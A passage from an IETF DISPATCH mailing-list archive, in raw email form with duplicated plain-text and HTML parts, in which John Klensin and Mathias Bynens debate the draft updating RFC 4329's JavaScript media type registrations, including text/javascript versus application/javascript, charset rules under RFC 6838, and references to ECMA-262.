being registered separately. RFC 6838 section 4.2.9 > > explains the proper way to handle old names for the same media > > type, and the registration form now contains a field for > > listing all of these names. > > > If you're going to register a bunch of separate types for a > > bunch of similar things, you need to explain why you're doing > > things this way, and more importantly, why they warrant having > > different names. > > > > And since in this case all of these additional registrations > > are marked as obsolete, I fail to see why they aren't being > > handle as deprecated aliases. Or, to pur this another way, why > > not simply list all 15 (!) aliases in the registration for > > text/javascript and get rid of section 6.2 entirely? > > Now, as I see it, that is an introduction to several problems. > First, because ECMA-262 has evolved, some of those types may not > actually be aliases but pointers to obsolete versions of the > specifications (see below). Of course, if that is the case, the > document should say so. That relationship is one of the many > ways in which it is impossible for the I-D to be the claimed > simple update to RFC 4329 (part of the basis for its progressing > this far) without _introducing_ errors that 4329 did not have. > > Looking for a moment only at the IANA registry, Ned is the lead > Media type reviewer/ Designated Expert for the registry and > under RFC 6838, not just for the Vendor and Personal Trees but > for "requests made by other recognized standards organizations". > If we have seen a request _From ECMA_, I have not been able to > find where that is documented. I would have expected to see it > in both the Last Call announcement and in the draft IESG > document action announcement as well as the document itself, and > it appears in none of those places. Putting those > documentation issues aside for the moment, if this was a request > from ECMA and Ned does not believe the registration request or > documentation meets the requirements, unless Alexey or Murray > can convince him otherwise, the document is essentially, as the > saying goes, dead in the water: while we give great deference to > requests from other recognized standards organizations, we have > no rule about overriding the decision of a Designated Expert, > even by an IETF Stream Informational RFC. Nor do we have rules > that say that, when there are multiple Designed Experts, two of > them can outvote the other one. And IANA takes direction from > the Designated Experts. > > Now let's assume there was no request from ECMA and that this > document represents the request and opinion of the authors. > There are then a few other problems which I didn't catch until I > studied the document and the registry over the weekend. > > First, these registrations started out with the preferred one > (in the registry) as application/javascript and > application//ecmascript. RFC 4329 establishes that preference, > identifying text/javascript and text/ecmascript as obsolete > (which is how they are defined in the registry) and asserted > that 'Use of the "text" top-level type for this kind of content > is known to be problematic.' (see its Section 3, a section that > appears to have been dropped from the I-D without comment -- > not, at least IMO, a "fairly simple update"). The current I-D > apparently proposes to change that, identifying text/javascript > as the preferred form and marking application/javascript as > obsolete. But it lacks, at least IMO, a clear explanation as to > why that change, with the preference reversed a second time, is > being made. That also raises the obvious question of whether, > in another half-dozen years, the decision will not be reversed > again. I can find no explanation if the I-D as to why that is > unlikely to be the case, only a preference for the text/ form > today. > text/javascript is already the de facto preferred MIME type for JavaScript. Our I-D aims to update RFC4329 to align with this reality. The HTML Standard, which all browser implementations follow, is explicit about this: https://html.spec.whatwg.org/multipage/scripting.html#scriptingLanguages Servers should use text/javascript for JavaScript resources. Servers should not use other JavaScript MIME types for JavaScript resources, and must not use non-JavaScript MIME types. Our I-D states, in its abstract: This document obsoletes RFC4329, "Scripting Media Types", replacing the previous registrations for "text/javascript" and "application/javascript" with information and requirements aligned with implementation experiences. =E2=80=A6and in its Introduction section: updates the requirements for implementations using those media types defined in [RFC4329] based on current existing practices Equally important, RFC 6838, supplemented by RFC 6657, imposes > far fewer restrictions on applications/* types than it does on > text/* types. For the latter, the discussion in Section 4 of > the I-D very strongly implies that these media types are not > "Text Media Types" as defined in Section 4.2.1 of RFC 6838 and > should therefore be application/* types. It may be that the > text in the I-D is just confusing (if Ned is convinced these are > appropriate text/* types, I defer to his judgment), but that is > more evidence that this document is not ready for prime time... > probably to the extent that it never should have been put into > Last Call. Or, if that is not the problem, this specification > does not get to violate RFC 6838's provisions without either a > clear explanation or updating that document (which would > presumably require a clear explanation). > > Assuming text/javascript is appropriate, this I-D also > violates Section 4.2.1 of RFC 6838 in another way, where the > fourth paragraph of that section starts by saying > > 'If a "charset" parameter is specified, it SHOULD be a > required parameter, eliminating the options of > specifying a default value. If there is a strong reason > for the parameter to be optional despite this advice, > each subtype MAY specify its own default value, or > alternatively, it MAY specify that there is no default > value.' > > The subsequent text that talks about "strong reason for the > parameter to be optional" strongly implies that there should be > an explanation in the relevant document (in retrospect, we > should have explicitly required that). I don't see that > explanation even attempted unless it is the text about the use > of "charset" with one target and not with others (again, > confusing at best). See Section 4: How implementations determine the character encoding scheme can be subject to processing rules that are out of the scope of this document. For example, transport protocols can require that a specific character encoding scheme is to be assumed if the optional charset parameter is not specified, or they can require that the charset parameter is used in certain cases. Such requirements are not defined by this document. How can we make this more clear? Equally or more important, Section 4.1 of > the I-D says that the value of the charset parameter "SHOULD be > a registered charset" while the second paragraph of Section > 4.2.1 of 6838 says "MUST". That is a clear violation of RFC > 6838 and as noted above, this I-D does not get to violate or > change BCP 13, at least without a very clear explanation that > can be reviewed and evaluated by the IETF, not just waived off > in passing as repeating the errors of RFC 4329. > I=E2=80=99d point to the same passage in section 4. This all depends on the= host environment. MUST does not seem appropriate since there are valid use cases for omitting the charset parameter from the media type itself, e.g. when the charset is already specified in HTML directly: As a meta-point, I will say that it is frustrating that, while making an effort to update RFC 4329 to align it with a changed reality, we=E2=80=99re= also burdened with fixing any and all other mistakes made in that original RFC. And it saddens me that until those unrelated mistakes are addressed, there continues to be no official media type registration for JavaScript modules, despite implementations supporting this since 2017 already. Meanwhile, the JavaScript ecosystem continues to be blocked on module support. That isn't all. If the Mozilla piece cited by Mathias at > https://mathiasbynens.be/demo/javascript-mime-type is relevant > and the reason for registering these dead/ obsoleted documents > is because they were in use somewhere, then I don't understand > why the "FAIL" "javascript+FOO" media types are not on the list > proposed for registration (or treatment as Ned suggests). > I think there=E2=80=99s a misunderstanding. There=E2=80=99s no =E2=80=9CMoz= illa piece=E2=80=9D being cited here; if you see the string "Mozilla" on that page, it's your browser=E2=80= =99s User-Agent string ( https://datatracker.ietf.org/doc/html/rfc7231#section-5.5.3) being reflected. This document is a test case attempting to load scripts with all the JavaScript media types and deprecated aliases in the draft (all of which PASS in all browsers), as well as some intentionally invalid ones (e.g. text/fluffscript) that are expected to FAIL. Inspect the HTML source code to see how it works. In addition, the proposed registrations, including the one for > text/javascript that is intended to be the one that survive as > relevant, invite the user to go on a wild goose chase, sending > them to look at the RFC that succeeded the I-D and then to ECMA > 262 (without any section numbers or other hints) and back to the > present document. That is not, at least IMO, how the media type > registry was intended to work, even if the goose is eventually > captured. > > Even more important, but part of the same general problem, the > "Interoperability considerations" subsection that is part of > each of the registrations (and is new text that cannot be blamed > on RFC 4329) appears to say something equivalent to "whatever > this media type says it is, treat it as if the current version > of 'text/javascript' as specified in ECMA-262 had been > specified". If that is the intent, the text should say so _and_ > point to the specific section of ECMA-262 that requires strict > backward compatibility in the present and all future versions. > I don=E2=80=99t think there is such a section, but it is the case that https://tc39.es/ecma262/ is a =E2=80=9Cliving standard=E2=80=9D in practice= , with browser and other implementations updating their JavaScript feature set all the time. Here=E2=80=99s the list of active proposals for new JavaScript featur= es: https://github.com/tc39/proposals#readme Browsers and other implementations start shipping features once they reach =E2=80=9CStage 3=E2=80=9D. Resolving =E2=80=9Cimplementation and ecosystem compatibility issues=E2=80= =9D is a requirement for any new features to land in the ECMAScript spec: https://tc39.es/process-document/#:~:text=3Dimplementation%20and%20ecosyste= m%20compatibility%20issues There is no strict 100% back/forwards compatibility requirement, however, and there have been rare cases where we=E2=80=99ve been able to correct historical mistakes after determining that doing so didn=E2=80=99t =E2=80= =9CBreak The Web=E2=80=9D / break existing code. These cases are enumerated here: https://tc39.es/ecma262/#sec-additions-and-changes-that-introduce-incompati= bilities-with-prior-editions The intention is really: =E2=80=9Cif this media type maps to JavaScript, th= en treat it using whatever currently available JavaScript implementation you have=E2= =80=9D, keeping in mind that the JS implementation is changing frequently, with new features being added all the time. I=E2=80=99d welcome any suggestions of h= ow we could capture this more clearly in the I-D. > The material in Section 2 of the I-D (with or without the > strange MUST to which Murray objected) does not do that. When I > look at the current version of ECMA-262 itself, I find Appendix > E ("Corrections and Clarifications in ECMAScript 2015 with > Possible Compatibility Impact") and F ("Additions and Changes > That Introduce Incompatibilities with Prior Editions"). They > strongly imply that there are no such backward compatibility > commitments. Even a single incompatibility that would cause an > application to fail or apply a different interpretation of media > types tied to earlier versions would be a problem (this is in > the category of things that caused the IAB to launch a study of > compatibility among versions of a protocol). We might deprecate > a once-valid type because there is a newer type with a new > definition. But having the definition of a type change out from > under it and thereby making an application that assumed the > original definition non-conforming... well, it isn't something > the IETF should do and, if Ecma International (not just the > authors) thinks it is ok, we need to hear from them. > > That problem with media type stability extends to the RFC Style > Guide. References, especially normative references, are > expected to be very stable. But, while the reference identified > as [ECMA-262] itself is very stable, referring to the 2021, 12th > Edition, of that spec, the "Interoperability considerations" > text does not actually reference that 2021 version. What it > references is, approximately, "whatever the ECMAScript > specification is when you happen to read this". Perhaps the > authors and the RFC Editor could work out how to do that in a > reference, but the I-D is referencing the 2021 version in some > places and the current version in others, using the same anchor, > and that has not been acceptable at any time in the last 51 1/2 > years. In addition, that dual use of the reference anchor means > that the statement in Appendix B, "Updated references to > ECMA-262 to match the version at time of publication" is not > quite accurate because it is also expected to match the version > at time of reading. > > ------ > > Bottom line: In retrospect, this document never should have been > put into Last Call. The IESG's having done so is a symptom of > one of the common problems with AD-sponsored documents, > especially Informational ones, in today's IETF. That problem is > insufficient expert review of potential problems in interactions > with other specs and, in this case, with existing IANA > registries and the rules for them. That lack of in-depth review > is especially likely if something is presented as "just an > update" or "just a replacement for an existing document", > implying that there are no changes that have broad implications. > Maybe it is something we should think about in terms of how > DISPATCH works at well: perhaps a document like this should not > be recommended for AD Sponsorship until it has been carefully > reviewed by a team separate from the authors and with in-depth > expertise in both the subject matter and the subtle issues with > media types. That is a review that this document received only > in the last couple of weeks and it might easily have slipped > through. I have read the Shepherd's report and, given the > assumptions it documents, it is probably completely correct. > However, those assumptions include this "just" being an update > to 4329 that does not introduce substantive changes other than > those documented in Appendix B. That does not turn out to have > been the case, e.g., with the change of "the intended usage of > the media type text/javascript from obsolete to common", which > has broader implications; with the use of one of the references; > and with other issues identified above. Among the specific > problems are that the change from a preferred application/* type > to a text/* type is not a "simple update of RFC 4329" because it > interacts with requirements of RFC 6838; the obsolete, then > un-obsolete, then obsolete again actions (and their reverse) > require more explanation than simply changing text; and, at > least IMO, if 4329 messed up the IANA registries, this should > not make them worse and, if it didn't, this I-D should not mess > them up, whether intentionally or by being confusing beyond all > acceptability. > > There is, in addition, clearly a more general problem for the > IESG and IETF, which is whether replacing an old document that > is known to have serious deficiencies with a new one that shares > those deficiencies and doing so without even comments about them > is a good idea. I note that no errata were filed against those > deficiencies in 4239 but, given our treatment of errata > (especially of the "hold for document update species), that > should not make any difference, especially given that at least > some of them were identified in review in DISPATCH. It is my > personal view that, if we obsolete a previous document, we take > on the responsibility, ideally, to fix its errors and > inappropriate or incomprehensible text even if we do not fix > other glitches. Even if we don't get to that ideal, we should > at least insert a section or appendix that identifies the known > problems that are being inherited. > > However, even if the inherited problems are ignored, the media > type definition ones noted by Ned and the need for explanations > that several of us have identified (including those in the notes > above) will result in very significant changes to this document, > changes significant enough that the IESG should return it to > DISPATCH and initiate another Last Call when it is actually > ready. > > john > > > > > > --000000000000e1ac8e05d55e7e6b Content-Type: text/html; charset="UTF-8" Content-Transfer-Encoding: quoted-printable


=
On Wed, Jan 12, 2022 at 5:49 AM John = C Klensin <john-ietf@jck.com>= ; wrote:
Warning= : this note is long.=C2=A0 Those who are not interested in the
details can safely skip to the least three paragraphs, beginning
with the one that starts "bottom line".

--On Tuesday, January 11, 2022 07:53 -0800
ned+dispatc= h@mrochek.com wrote:

> In regards to all these obsolete registrations and x-
> registrtions in particular...
>
>> > What I've observed is that the current media type registr= y
>> > does not at present contain any of the "x-" media t= ypes
>> > this document is registering. I believe that makes them new >> > registrations, and so I suggest that there should be text
>> > explaining why BCP 178 doesn't apply here.

>> Thank you. Please take a look at this patch:
>> https://github.com/linuxwolf/bmeck-ids/= pull/65/files
>
>> For context, these are historical legacy types that are
>> supported in practice:
>> https://mathiasbynens.be/demo/javascript-= mime-type Although
>> they are OBSOLETED, it's important that the document
>> specifies them because they are required for Web
>> compatibility.
>
> There seems to be considerable misunderstanding about the
> rules regarding obsolete type names, unfaceted types, and type
> names beginning with "X-".
>
> First, RFC 6838 eliminated the special status of type names
> beginning with "X-". So nothing prevents you from registerin= g
> type names beginning with "X-" as long as the registration i= s
> in the standards tree. Appendix A of RFC 6838 only applies if
> the type is being registered in, say, the vendor tree, which
> AFAICT is not the case here.
>
> Of course the fact that you can register names beginning with
> "X-" doesn't mean you should. So if you're doing thi= s, a note
> explaining why ths makes sense would be a good idea.

Let me go a half-step further than Ned.=C2=A0 Given the language in
RFC 6648/ BCP 178, not explaining why it makes sense would
create a situation in which an Informational specification in
the IETF Stream was violating an IETF BCP.=C2=A0 Without a clear
explanation in the document, one which I believe should have
been identified in the Last Call, that would create an
intolerable situation of the IETF ignoring its one "best
practice" specifications.

> However, the better question is why are all these obsolete
> type names being registered separately. RFC 6838 section 4.2.9
> explains the proper way to handle old names for the same media
> type, and the registration form now contains a field for
> listing all of these names.

> If you're going to register a bunch of separate types for a
> bunch of similar things, you need to explain why you're doing
> things this way, and more importantly, why they warrant having
> different names.
>
> And since in this case all of these additional registrations
> are marked as obsolete, I fail to see why they aren't being
> handle as deprecated aliases. Or, to pur this another way, why
> not simply list all 15 (!) aliases in the registration for
> text/javascript and get rid of section 6.2 entirely?

Now, as I see it, that is an introduction to several problems.
First, because ECMA-262 has evolved, some of those types may not
actually be aliases but pointers to obsolete versions of the
specifications (see below).=C2=A0 Of course, if that is the case, the
document should say so.=C2=A0 That relationship is one of the many
ways in which it is impossible for the I-D to be the claimed
simple update to RFC 4329 (part of the basis for its progressing
this far) without _introducing_ errors that 4329 did not have.

Looking for a moment only at the IANA registry, Ned is the lead
Media type reviewer/ Designated Expert for the registry and
under RFC 6838, not just for the Vendor and Personal Trees but
for "requests made by other recognized standards organizations".<= br> If we have seen a request _From ECMA_, I have not been able to
find where that is documented.=C2=A0 I would have expected to see it
in both the Last Call announcement and in the draft IESG
document action announcement as well as the document itself, and
it appears in none of those places.=C2=A0 =C2=A0Putting those
documentation issues aside for the moment, if this was a request
from ECMA and Ned does not believe the registration request or
documentation meets the requirements, unless Alexey or Murray
can convince him otherwise, the document is essentially, as the
saying goes, dead in the water: while we give great deference to
requests from other recognized standards organizations, we have
no rule about overriding the decision of a Designated Expert,
even by an IETF Stream Informational RFC.=C2=A0 Nor do we have rules
that say that, when there are multiple Designed Experts, two of
them can outvote the other one.=C2=A0 And IANA takes direction from
the Designated Experts.

Now let's assume there was no request from ECMA and that this
document represents the request and opinion of the authors.
There are then a few other problems which I didn't catch until I
studied the document and the registry over the weekend.

First, these registrations started out with the preferred one
(in the registry) as application/javascript and
application//ecmascript.=C2=A0 RFC 4329 establishes that preference,
identifying text/javascript and text/ecmascript as obsolete
(which is how they are defined in the registry) and asserted
that 'Use of the "text" top-level type for this kind of conte= nt
is known to be problematic.' (see its Section 3, a section that
appears to have been dropped from the I-D without comment --
not, at least IMO, a "fairly simple update").=C2=A0 =C2=A0 The cu= rrent I-D
apparently proposes to change that, identifying text/javascript
as the preferred form and marking application/javascript as
obsolete. But it lacks, at least IMO, a clear explanation as to
why that change, with the preference reversed a second time, is
being made.=C2=A0 That also raises the obvious question of whether,
in another half-dozen years, the decision will not be reversed
again.=C2=A0 I can find no explanation if the I-D as to why that is
unlikely to be the case, only a preference for the text/ form
today.

text/javascript is already the d= e facto preferred MIME type for JavaScript. Our I-D aims to update=C2=A0RFC= 4329 to align with this reality. The HTML Standard, which all browser imple= mentations follow, is explicit about this:=C2=A0https://html.spec= .whatwg.org/multipage/scripting.html#scriptingLanguages

<= /div>
= Servers should use text/javascript for JavaScript resources. Servers should= not use other JavaScript MIME types for JavaScript resources, and must not= use non-JavaScript MIME types.

Our I-D states, in= its abstract:

This document= obsoletes RFC4329, "Scripting Media Types", replacing the previo= us registrations for "text/javascript" and "application/java= script" with information and requirements aligned with implementation = experiences.

=E2=80=A6and in its Introduction section:

updates the requirements for implementations using t= hose media types defined in [RFC4329] based on current existing practices


<= /div>
Equally important, R= FC 6838, supplemented by RFC 6657, imposes
far fewer restrictions on applications/* types than it does on
text/* types.=C2=A0 For the latter, the discussion in Section 4 of
the I-D very strongly implies that these media types are not
"Text Media Types" as defined in Section 4.2.1 of RFC 6838 and should therefore be application/* types.=C2=A0 =C2=A0It may be that the
text in the I-D is just confusing (if Ned is convinced these are
appropriate text/* types, I defer to his judgment), but that is
more evidence that this document is not ready for prime time...
probably to the extent that it never should have been put into
Last Call.=C2=A0 Or, if that is not the problem, this specification
does not get to violate RFC 6838's provisions without either a
clear explanation or updating that document (which would
presumably require a clear explanation).

Assuming text/javascript is appropriate, this I-D also
violates Section 4.2.1 of RFC 6838 in another way, where the
fourth paragraph of that section starts by saying

=C2=A0 =C2=A0 =C2=A0 =C2=A0 'If a "charset" parameter is spec= ified, it SHOULD be a
=C2=A0 =C2=A0 =C2=A0 =C2=A0 required parameter, eliminating the options of<= br> =C2=A0 =C2=A0 =C2=A0 =C2=A0 specifying a default value.=C2=A0 If there is a= strong reason
=C2=A0 =C2=A0 =C2=A0 =C2=A0 for the parameter to be optional despite this a= dvice,
=C2=A0 =C2=A0 =C2=A0 =C2=A0 each subtype MAY specify its own default value,= or
=C2=A0 =C2=A0 =C2=A0 =C2=A0 alternatively, it MAY specify that there is no = default
=C2=A0 =C2=A0 =C2=A0 =C2=A0 value.'

The subsequent text that talks about "strong reason for the
parameter to be optional" strongly implies that there should be
an explanation in the relevant document (in retrospect, we
should have explicitly required that).=C2=A0 I don't see that
explanation even attempted unless it is the text about the use
of "charset" with one target and not with others (again,
confusing at best).

See Section 4:

How implementations determine the ch= aracter encoding scheme can be subject to processing rules that are out of = the scope of this document. For example, transport protocols can require th= at a specific character encoding scheme is to be assumed if the optional ch= arset parameter is not specified, or they can require that the charset para= meter is used in certain cases. Such requirements are not defined by this d= ocument.

=
How can we make this more clear?

=C2=A0 =C2=A0Equally or more important, Se= ction 4.1 of
the I-D says that the value of the charset parameter "SHOULD be
a registered charset" while the second paragraph of Section
4.2.1 of 6838 says "MUST".=C2=A0 That is a clear violation of RFC=
6838 and as noted above, this I-D does not get to violate or
change BCP 13, at least without a very clear explanation that
can be reviewed and evaluated by the IETF, not just waived off
in passing as repeating the errors of RFC 4329.

I=E2=80=99d point to the same passage in section 4.=C2=A0This all = depends on the host environment. MUST does not seem appropriate since there= are valid use cases for omitting the charset parameter from the media type= itself, e.g. when the charset is already specified in HTML directly: <s= cript charset=3Dutf-8 src=3Dfoo.js></script>

<= div>As a meta-point, I will say that it is frustrating that, while making a= n effort to update RFC 4329=C2=A0to align it with a changed reality, we=E2= =80=99re also burdened with fixing any and all other mistakes made in that = original RFC. And it saddens me that until those unrelated mistakes are add= ressed, there continues to be no official media type registration for JavaS= cript modules, despite implementations supporting this since 2017 already. = Meanwhile, the JavaScript ecosystem continues to be blocked on module suppo= rt.

T= hat isn't all.=C2=A0 If the Mozilla piece cited by Mathias at
https://mathiasbynens.be/demo/javascript-mime-type= is relevant
and the reason for registering these dead/ obsoleted documents
is because they were in use somewhere, then I don't understand
why the "FAIL" "javascript+FOO" media types are not on = the list
proposed for registration (or treatment as Ned suggests).
<= div>
I think there=E2=80=99s a misunderstanding. There=E2=80= =99s no =E2=80=9CMozilla piece=E2=80=9D being cited here; if you see the st= ring "Mozilla" on that page, it's your browser=E2=80=99s User= -Agent string (https://datatracker.ietf.org/doc/html/rfc7231#section-5.5.3= ) being reflected. This document is a test case attempting to load scripts = with all the JavaScript media types and deprecated aliases in the draft (al= l of which PASS in all browsers), as well as some intentionally invalid one= s (e.g. text/fluffscript) that are expected to FAIL. Inspect the HTML sourc= e code to see how it works.

In addition, the proposed registrations, including t= he one for
text/javascript that is intended to be the one that survive as
relevant, invite the user to go on a wild goose chase, sending
them to look at the RFC that succeeded the I-D and then to ECMA
262 (without any section numbers or other hints) and back to the
present document.=C2=A0 That is not, at least IMO, how the media type
registry was intended to work, even if the goose is eventually
captured.=C2=A0

Even more important, but part of the same general problem, the
"Interoperability considerations" subsection that is part of
each of the registrations (and is new text that cannot be blamed
on RFC 4329) appears to say something equivalent to "whatever
this media type says it is, treat it as if the current version
of 'text/javascript' as specified in ECMA-262 had been
specified". If that is the intent, the text should say so _and_
point to the specific section of ECMA-262 that requires strict
backward compatibility in the present and all future versions.

I don=E2=80=99t think there is such a section, but = it is the case that https://tc39.es/ec= ma262/ is a =E2=80=9Cliving standard=E2=80=9D in practice, with browser= and other implementations updating their JavaScript feature set all the ti= me. Here=E2=80=99s the list of active proposals for new JavaScript features= :=C2=A0https://github.= com/tc39/proposals#readme Browsers and other implementations start ship= ping features once they reach =E2=80=9CStage 3=E2=80=9D.

Resolving =E2=80=9Cimplementation and ecosystem compatibility issues= =E2=80=9D is a requirement for any new features to land in the ECMAScript s= pec:=C2=A0https://tc39.es/process-do= cument/#:~:text=3Dimplementation%20and%20ecosystem%20compatibility%20issues= There is no strict 100% back/forwards compatibility requirement, howev= er, and there have been rare cases where we=E2=80=99ve been able to correct= historical=C2=A0mistakes after determining that doing so didn=E2=80=99t = =E2=80=9CBreak The Web=E2=80=9D / break existing code. These cases are enum= erated here: https://tc39.es/ecma2= 62/#sec-additions-and-changes-that-introduce-incompatibilities-with-prior-e= ditions

The intention is really: =E2=80=9Cif t= his media type maps to JavaScript, then treat it using whatever currently a= vailable JavaScript implementation you have=E2=80=9D, keeping in mind that = the JS implementation is changing frequently, with new features being added= all the time. I=E2=80=99d welcome any suggestions of how we could capture = this more clearly in the I-D.
=C2=A0
The material in Section 2 of the I-D (with or without the
strange MUST to which Murray objected) does not do that.=C2=A0 When I
look at the current version of ECMA-262 itself, I find Appendix
E ("Corrections and Clarifications in ECMAScript 2015 with
Possible Compatibility Impact") and F ("Additions and Changes
That Introduce Incompatibilities with Prior Editions").=C2=A0 They
strongly imply that there are no such backward compatibility
commitments.=C2=A0 Even a single incompatibility that would cause an
application to fail or apply a different interpretation of media
types tied to earlier versions would be a problem (this is in
the category of things that caused the IAB to launch a study of
compatibility among versions of a protocol).=C2=A0 We might deprecate
a once-valid type because there is a newer type with a new
definition.=C2=A0 But having the definition of a type change out from
under it and thereby making an application that assumed the
original definition non-conforming... well, it isn't something
the IETF should do and, if Ecma International (not just the
authors) thinks it is ok, we need to hear from them.

That problem with media type stability extends to the RFC Style
Guide.=C2=A0 References, especially normative references, are
expected to be very stable.=C2=A0 But, while the reference identified
as [ECMA-262] itself is very stable, referring to the 2021, 12th
Edition, of that spec, the "Interoperability considerations"
text does not actually reference that 2021 version.=C2=A0 What it
references is, approximately, "whatever the ECMAScript
specification is when you happen to read this".=C2=A0 Perhaps the
authors and the RFC Editor could work out how to do that in a
reference, but the I-D is referencing the 2021 version in some
places and the current version in others, using the same anchor,
and that has not been acceptable at any time in the last 51 1/2
years.=C2=A0 In addition, that dual use of the reference anchor means
that the statement in Appendix B, "Updated references to
ECMA-262 to match the version at time of publication" is not
quite accurate because it is also expected to match the version
at time of reading.

=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0------

Bottom line: In retrospect, this document never should have been
put into Last Call.=C2=A0 =C2=A0The IESG's having done so is a symptom = of
one of the common problems with AD-sponsored documents,
especially Informational ones, in today's IETF.=C2=A0 That problem is insufficient expert review of potential problems in interactions
with other specs and, in this case, with existing IANA
registries and the rules for them.=C2=A0 That lack of in-depth review
is especially likely if something is presented as "just an
update" or "just a replacement for an existing document", implying that there are no changes that have broad implications.
Maybe it is something we should think about in terms of how
DISPATCH works at well: perhaps a document like this should not
be recommended for AD Sponsorship until it has been carefully
reviewed by a team separate from the authors and with in-depth
expertise in both the subject matter and the subtle issues with
media types.=C2=A0 That is a review that this document received only
in the last couple of weeks and it might easily have slipped
through.=C2=A0 I have read the Shepherd's report and, given the
assumptions it documents, it is probably completely correct.
However, those assumptions include this "just" being an update to 4329 that does not introduce substantive changes other than
those documented in Appendix B.=C2=A0 That does not turn out to have
been the case, e.g., with the change of "the intended usage of
the media type text/javascript from obsolete to common", which
has broader implications; with the use of one of the references;
and with other issues identified above.=C2=A0 =C2=A0Among the specific
problems are that the change from a preferred application/* type
to a text/* type is not a "simple update of RFC 4329" because it<= br> interacts with requirements of RFC 6838; the obsolete, then
un-obsolete, then obsolete again actions (and their reverse)
require more explanation than simply changing text; and, at
least IMO, if 4329 messed up the IANA registries, this should
not make them worse and, if it didn't, this I-D should not mess
them up, whether intentionally or by being confusing beyond all
acceptability.=C2=A0 =C2=A0

There is, in addition, clearly a more general problem for the
IESG and IETF, which is whether replacing an old document that
is known to have serious deficiencies with a new one that shares
those deficiencies and doing so without even comments about them
is a good idea.=C2=A0 I note that no errata were filed against those
deficiencies in 4239 but, given our treatment of errata
(especially of the "hold for document update species), that
should not make any difference, especially given that at least
some of them were identified in review in DISPATCH.=C2=A0 It is my
personal view that, if we obsolete a previous document, we take
on the responsibility, ideally, to fix its errors and
inappropriate or incomprehensible text even if we do not fix
other glitches.=C2=A0 Even if we don't get to that ideal, we should
at least insert a section or appendix that identifies the known
problems that are being inherited.

However, even if the inherited problems are ignored, the media
type definition ones noted by Ned and the need for explanations
that several of us have identified (including those in the notes
above) will result in very significant changes to this document,
changes significant enough that the IESG should return it to
DISPATCH and initiate another Last Call when it is actually
ready.=C2=A0

=C2=A0 =C2=A0 john





--000000000000e1ac8e05d55e7e6b-- From nobody Wed Jan 12 06:43:55 2022 Return-Path: X-Original-To: dispatch@ietfa.amsl.com Delivered-To: dispatch@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 5A9FE3A1070; Wed, 12 Jan 2022 06:43:53 -0800 (PST) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -1.897 X-Spam-Level: X-Spam-Status: No, score=-1.897 tagged_above=-999 required=5 tests=[BAYES_00=-1.9, SPF_HELO_NONE=0.001, SPF_NONE=0.001, URIBL_BLOCKED=0.001] autolearn=ham autolearn_force=no Received: from mail.ietf.org ([4.31.198.44]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 36LuWEOS3qga; Wed, 12 Jan 2022 06:43:48 -0800 (PST) Received: from bsa2.jck.com (ns.jck.com [70.88.254.51]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by ietfa.amsl.com (Postfix) with ESMTPS id B07743A1064; Wed, 12 Jan 2022 06:43:44 -0800 (PST) Received: from [198.252.137.10] (helo=PSB) by bsa2.jck.com with esmtp (Exim 4.82 (FreeBSD)) (envelope-from ) id 1n7eqj-000280-8C; Wed, 12 Jan 2022 09:43:41 -0500 Date: Wed, 12 Jan 2022 09:43:35 -0500 From: John C Klensin To: Mathias Bynens cc: ned+dispatch@mrochek.com, Mathias Bynens , Ben Campbell , DISPATCH WG , dispatch chairs , draft-ietf-dispatch-javascript-mjs@ietf.org, The IESG Message-ID: <0971F0B7965F378FBE613815@PSB> In-Reply-To: References: <164144481153.28700.9521326921012553920@ietfa.amsl.com> <01S8F3X371ZE00D1OX@mauve.mrochek.com> X-Mailer: Mulberry/4.0.8 (Win32) MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline X-SA-Exim-Connect-IP: 198.252.137.10 X-SA-Exim-Mail-From: john-ietf@jck.com X-SA-Exim-Scanned: No (on bsa2.jck.com); SAEximRunCond expanded to false Archived-At: Subject: Re: [dispatch] Murray Kucherawy's No Objection on draft-ietf-dispatch-javascript-mjs-13: (with COMMENT) X-BeenThere: dispatch@ietf.org X-Mailman-Version: 2.1.29 Precedence: list List-Id: DISPATCH Working Group Mail List List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 12 Jan 2022 14:43:54 -0000 Mathias Top post -- I need to run to a (f2f) meeting and might have more to say about some of your comments below later, but I think it is important for me to stress a few things right now. First, I see this document getting as far as IESG review as a system failure, not an author failure. I hope we can dissect that failure at some point, not to cast blame but to figure out how we can do better, with other documents, in the future. And my note erred in attributing the problem to AD sponsorship rather than to DISPATCH but, again, system failure. Second, if I were to make a one-phrase summary of all of the substantive comments starting from Murray's "No Objection" and certainly including my long analyses and Ned's note about how Media Type registrations are handled, it would be "need to explain and justify this better in the document" and not "this is necessarily wrong". Again, all of those issues should have been caught much earlier, but, for better or worse, that is how the IETF system works. And, as one substantive comment on your note the IETF's criteria for review and approval go far beyond "well, all the browsers do this". I think there are good reasons for that. You may reasonably disagree and I know WHATWG does, but that is a far broader issue than this particular document. best, john --On Wednesday, January 12, 2022 09:38 +0100 Mathias Bynens wrote: > On Wed, Jan 12, 2022 at 5:49 AM John C Klensin > wrote: >=20 >> Warning: this note is long. Those who are not interested in >> the details can safely skip to the least three paragraphs, >> beginning with the one that starts "bottom line". >>=20 >> --On Tuesday, January 11, 2022 07:53 -0800 >> ned+dispatch@mrochek.com wrote: >>=20 >> > In regards to all these obsolete registrations and x- >> > registrtions in particular... >> >=20 >> >> > What I've observed is that the current media type >> >> > registry does not at present contain any of the "x-" >> >> > media types this document is registering. I believe that >> >> > makes them new registrations, and so I suggest that >> >> > there should be text explaining why BCP 178 doesn't >> >> > apply here. >>=20 >> >> Thank you. Please take a look at this patch: >> >> https://github.com/linuxwolf/bmeck-ids/pull/65/files >> >=20 >> >> For context, these are historical legacy types that are >> >> supported in practice: >> >> https://mathiasbynens.be/demo/javascript-mime-type = Although >> >> they are OBSOLETED, it's important that the document >> >> specifies them because they are required for Web >> >> compatibility. >> >=20 >> > There seems to be considerable misunderstanding about the >> > rules regarding obsolete type names, unfaceted types, and >> > type names beginning with "X-". >> >=20 >> > First, RFC 6838 eliminated the special status of type names >> > beginning with "X-". So nothing prevents you from >> > registering type names beginning with "X-" as long as the >> > registration is in the standards tree. 